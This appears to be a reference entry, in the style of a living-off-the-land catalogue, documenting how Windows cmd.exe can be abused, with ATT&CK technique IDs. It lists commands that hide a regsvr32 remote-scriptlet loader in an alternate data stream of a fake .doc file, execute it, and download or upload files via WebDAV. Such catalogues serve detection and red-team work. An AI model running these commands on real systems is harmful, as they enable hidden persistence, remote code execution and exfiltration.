.. /Cmd.exe
Star

The command-line interpreter in Windows


Paths:

Resources:
Acknowledgements:

Detection:

Alternate data streams

Add content to an Alternate Data Stream (ADS).
cmd.exe /c echo regsvr32.exe ^/s ^/u ^/i:https://raw.githubusercontent.com/redcanaryco/atomic-red-team/master/atomics/T1218.010/src/RegSvr32.sct ^scrobj.dll > fakefile.doc:payload.bat
Usecase: Can be used to evade defensive countermeasures or to hide as a persistence mechanism
Privileges required: User
OS: Windows vista, Windows 7, Windows 8, Windows 8.1, Windows 10, Windows 11
MITRE ATT&CK®: T1564.004



Execute payload.bat stored in an Alternate Data Stream (ADS).
cmd.exe - < fakefile.doc:payload.bat
Usecase: Can be used to evade defensive countermeasures or to hide as a persistence mechanism
Privileges required: User
OS: Windows vista, Windows 7, Windows 8, Windows 8.1, Windows 10, Windows 11
MITRE ATT&CK®: T1059.003



Download

Downloads a specified file from a WebDAV server to the target file.
type \\webdav-server\folder\file.ext > C:\Path\file.ext
Usecase: Download/copy a file from a WebDAV server
Privileges required: User
OS: Windows Vista, Windows 7, Windows 8, Windows 8.1, Windows 10, Windows 11
MITRE ATT&CK®: T1105



Upload

Uploads a specified file to a WebDAV server.
type C:\Path\file.ext > \\webdav-server\folder\file.ext
Usecase: Upload a file to a WebDAV server
Privileges required: User
OS: Windows Vista, Windows 7, Windows 8, Windows 8.1, Windows 10, Windows 11
MITRE ATT&CK®: T1048.003